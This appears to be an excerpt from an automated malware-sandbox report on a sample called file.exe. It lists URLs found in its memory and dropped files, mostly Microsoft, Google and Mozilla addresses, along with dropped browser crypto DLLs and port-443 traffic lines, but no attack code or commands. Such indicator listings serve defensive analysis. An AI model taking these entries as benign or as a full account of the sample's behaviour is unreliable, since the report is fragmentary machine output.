Source: e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_iHeart.png/1.0.3/asset
Source: e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_hc.png/1.0.14/asset
Source: e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_maximal_dark.png/1.0.14/as
Source: e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_maximal_light.png/1.0.14/a
Source: e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_instagram.png/1.4.13/asset
Source: e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_ku_gou.png/1.0.3/asset
Source: e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_last.png/1.0.3/asset
Source: 000003.log.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Sho
Source: e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_dark.png/1.1.0/asset
Source: e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_hc.png/1.1.0/asset
Source: e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_light.png/1.1.0/asset
Source: e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_naver_vibe.png/1.0.3/asset
Source: e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_dark.png/1.4.9/asset
Source: e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_hc.png/1.4.9/asset
Source: e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_light.png/1.4.9/asset
Source: e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_dark.png/1.9.10/asset
Source: e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_hc.png/1.9.10/asset
Source: e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_light.png/1.9.10/asset
Source: e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_hc.png/1.1.0/asset
Source: e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_maximal_dark.png/1.1.0/asset
Source: e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_maximal_light.png/1.1.0/asse
Source: e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_power_point.png/1.7.32/asset
Source: e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_qq.png/1.0.3/asset
Source: e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_dark.png/1.1.12/asset
Source: e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_hc.png/1.1.12/asset
Source: e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_light.png/1.1.12/asset
Source: e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_hc.png/1.1.3/asset
Source: e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_maximal_dark.png/1.1.3/asset
Source: e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_maximal_light.png/1.1.3/asset
Source: e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_hc.png/1.3.6/asset
Source: e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_maximal_dark.png/1.3.6/asset
Source: e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset
Source: e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.1.12/asset
Source: e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.4.0/asset
Source: e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.5.13/asset
Source: e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.1.12/asset
Source: e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.4.0/asset
Source: e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.5.13/asset
Source: e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.1.12/asset
Source: e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.4.0/asset
Source: e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.5.13/asset
Source: e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_hc.png/1.4.0/asset
Source: e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_maximal_dark.png/1.4.0/asset
Source: e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset
Source: e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_dark.png/1.3.20/asset
Source: e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_hc.png/1.3.20/asset
Source: e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_light.png/1.3.20/asset
Source: e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_sound_cloud.png/1.0.3/asset
Source: e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_spotify.png/1.4.12/asset
Source: e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_dark.png/1.2.19/asset
Source: e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_hc.png/1.2.19/asset
Source: e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_light.png/1.2.19/asset
Source: e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_telegram.png/1.0.4/asset
Source: e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_hc.png/1.0.5/asset
Source: e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_maximal_dark.png/1.0.5/asset
Source: e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_maximal_light.png/1.0.5/asset
Source: e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_tidal.png/1.0.3/asset
Source: e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_tik_tok_light.png/1.0.5/asset
Source: e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_hc.png/1.5.13/asset
Source: e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_maximal_dark.png/1.5.13/asset
Source: e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset
Source: e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_twitter_light.png/1.0.9/asset
Source: e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_vk.png/1.0.3/asset
Source: e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_whats_new.png/1.0.0/asset
Source: e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_whatsapp_light.png/1.4.11/asset
Source: e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_word.png/1.7.32/asset
Source: e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_yandex_music.png/1.0.10/asset
Source: e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_youtube.png/1.4.14/asset
Source: 000003.log.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/signal_triggers/1.13.3/asset?sv=2017-07-29&sr=c&sig=Nt
Source: e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	String found in binary or memory: https://excel.new?from=EdgeM365Shoreline
Source: chromecache_465.5.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey200-36dp/2x/gm_alert_gm_grey200_3
Source: chromecache_465.5.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey600-36dp/2x/gm_alert_gm_grey600_3
Source: chromecache_465.5.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey200-24dp/1x/gm_close_gm_grey200_2
Source: chromecache_465.5.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey600-24dp/1x/gm_close_gm_grey600_2
Source: e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	String found in binary or memory: https://gaana.com/
Source: e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	String found in binary or memory: https://i.y.qq.com/n2/m/index.html
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://img-s-msn-com.akamaized.net/
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://img-s.msn.cn/tenant/amp/entityid/
Source: BFHDHJKKJDHJJJJKEGHI.0.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	String found in binary or memory: https://latest.web.skype.com/?browsername=edge_canary_shoreline
Source: e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	String found in binary or memory: https://m.kugou.com/
Source: e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	String found in binary or memory: https://m.soundcloud.com/
Source: e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	String found in binary or memory: https://m.vk.com/
Source: 000003.ldb.9.dr	String found in binary or memory: https://mail.google.com
Source: e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	String found in binary or memory: https://mail.google.com/mail/mu/mp/266/#tl/Inbox
Source: e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	String found in binary or memory: https://manifestdeliveryservice.edgebrowser.microsoft-staging-falcon.io/app/page-context-demo
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://mozilla.org0/
Source: e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	String found in binary or memory: https://music.amazon.com
Source: e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	String found in binary or memory: https://music.apple.com
Source: e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	String found in binary or memory: https://music.yandex.com
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://ntp.msn.cn/edge/ntp
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=288
Source: 000003.ldb.9.dr, e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	String found in binary or memory: https://open.spotify.com
Source: e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	String found in binary or memory: https://outlook.live.com/calendar/view/agenda/quickcapture/moreDetails?isExtension=true
Source: e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	String found in binary or memory: https://outlook.live.com/mail/0/
Source: e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	String found in binary or memory: https://outlook.live.com/mail/compose?isExtension=true
Source: e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	String found in binary or memory: https://outlook.live.com/mail/inbox?isExtension=true&sharedHeader=1&nlp=1&client_flight=outlookedge
Source: e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	String found in binary or memory: https://outlook.office.com/calendar/view/agenda/quickcapture/moreDetails?isExtension=true
Source: e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	String found in binary or memory: https://outlook.office.com/mail/0/
Source: e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	String found in binary or memory: https://outlook.office.com/mail/compose?isExtension=true
Source: e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	String found in binary or memory: https://outlook.office.com/mail/inbox?isExtension=true&sharedHeader=1&client_flight=outlookedge
Source: chromecache_465.5.dr	String found in binary or memory: https://play.google.com/log?format=json&hasfast=true
Source: chromecache_467.5.dr	String found in binary or memory: https://plus.google.com
Source: chromecache_467.5.dr	String found in binary or memory: https://plus.googleapis.com
Source: e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	String found in binary or memory: https://powerpoint.new?from=EdgeM365Shoreline
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://sb.scorecardresearch.com/
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://srtb.msn.cn/
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://srtb.msn.com/
Source: FHCGCFHDHIIIDGCAAEGDAFBFHD.0.dr	String found in binary or memory: https://support.mozilla.org
Source: FHCGCFHDHIIIDGCAAEGDAFBFHD.0.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: FHCGCFHDHIIIDGCAAEGDAFBFHD.0.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.ZAnPVwXvBbYt
Source: e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	String found in binary or memory: https://tidal.com/
Source: e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	String found in binary or memory: https://twitter.com/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.9.dr	String found in binary or memory: https://unitedstates1.ss.wd.microsoft.us/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.9.dr	String found in binary or memory: https://unitedstates2.ss.wd.microsoft.us/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.9.dr	String found in binary or memory: https://unitedstates4.ss.wd.microsoft.us/
Source: e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	String found in binary or memory: https://vibe.naver.com/today
Source: 000003.ldb.9.dr	String found in binary or memory: https://web.skype.com/?
Source: e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	String found in binary or memory: https://web.skype.com/?browsername=edge_canary_shoreline
Source: e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	String found in binary or memory: https://web.skype.com/?browsername=edge_stable_shoreline
Source: e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	String found in binary or memory: https://web.telegram.org/
Source: e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	String found in binary or memory: https://web.whatsapp.com
Source: e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	String found in binary or memory: https://word.new?from=EdgeM365Shoreline
Source: chromecache_467.5.dr	String found in binary or memory: https://workspace.google.com/:session_prefix:marketplace/appfinder?usegapi=1
Source: file.exe, 00000000.00000002.2651081416.00000000236C3000.00000004.00000020.00020000.00000000.sdmp, BFHDHJKKJDHJJJJKEGHI.0.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_86277c656a4bd7d619968160e91c45fd066919bb3bd119b3
Source: e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	String found in binary or memory: https://www.deezer.com/
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: JEHIJJKE.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: content_new.js.9.dr, content.js.9.dr	String found in binary or memory: https://www.google.com/chrome
Source: JEHIJJKE.0.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: 6322027c-749c-41a5-82e3-b194ec7b8ece.tmp.10.dr, 4163abde-9904-4e58-b214-c613a4eb5ed6.tmp.10.dr, 9ea67364-8430-4fd4-89e9-4f7b5d777328.tmp.10.dr	String found in binary or memory: https://www.googleapis.com
Source: chromecache_467.5.dr	String found in binary or memory: https://www.googleapis.com/auth/plus.me
Source: chromecache_467.5.dr	String found in binary or memory: https://www.googleapis.com/auth/plus.people.recommended
Source: chromecache_465.5.dr	String found in binary or memory: https://www.gstatic.com/gb/html/afbp.html
Source: chromecache_465.5.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_medium.css
Source: chromecache_465.5.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_small.css
Source: e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	String found in binary or memory: https://www.iheart.com/podcast/
Source: e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	String found in binary or memory: https://www.instagram.com
Source: e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	String found in binary or memory: https://www.last.fm/
Source: e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	String found in binary or memory: https://www.messenger.com
Source: FHCGCFHDHIIIDGCAAEGDAFBFHD.0.dr	String found in binary or memory: https://www.mozilla.org
Source: FHCGCFHDHIIIDGCAAEGDAFBFHD.0.dr	String found in binary or memory: https://www.mozilla.org#
Source: file.exe, 00000000.00000002.2619339487.0000000000634000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: FHCGCFHDHIIIDGCAAEGDAFBFHD.0.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.bwSC1pmG_zle
Source: file.exe, 00000000.00000002.2619339487.0000000000634000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/t.exe
Source: file.exe, 00000000.00000002.2619339487.0000000000634000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2619339487.0000000000717000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: file.exe, 00000000.00000002.2619339487.0000000000717000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/W1sYnpxLnB3ZA==
Source: FHCGCFHDHIIIDGCAAEGDAFBFHD.0.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.hjKdHaZH-dbQ
Source: FHCGCFHDHIIIDGCAAEGDAFBFHD.0.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://www.msn.com/web-notification-icon-light.png
Source: e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1
Source: e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1&game
Source: e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1&item
Source: e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1
Source: e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1&item=fl
Source: e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1&playInS
Source: e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	String found in binary or memory: https://www.office.com
Source: 000003.ldb.9.dr	String found in binary or memory: https://www.officeplus.cn/?sid=shoreline&endpoint=OPPC&source=OPCNs
Source: e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	String found in binary or memory: https://www.officeplus.cn/?sid=shoreline&endpoint=OPPC&source=OPCNshoreline
Source: e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true
Source: 000003.ldb.9.dr, e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true&auth=1
Source: e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true&auth=2
Source: e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true
Source: 000003.ldb.9.dr, e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=1
Source: 000003.ldb.9.dr, e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=2
Source: file.exe, 00000000.00000002.2651081416.00000000236C3000.00000004.00000020.00020000.00000000.sdmp, BFHDHJKKJDHJJJJKEGHI.0.dr	String found in binary or memory: https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_
Source: e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	String found in binary or memory: https://www.tiktok.com/
Source: e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	String found in binary or memory: https://www.youtube.com
Source: e73f6d1a-e8c5-427c-81ec-803a519c2c1c.tmp.9.dr	String found in binary or memory: https://y.music.163.com/m/

Source: unknown	Network traffic detected: HTTP traffic on port 62217 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 62378 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62412 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62252 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62195 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 62390 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 62184 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 62264 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51605 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62308 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62321 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62367 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
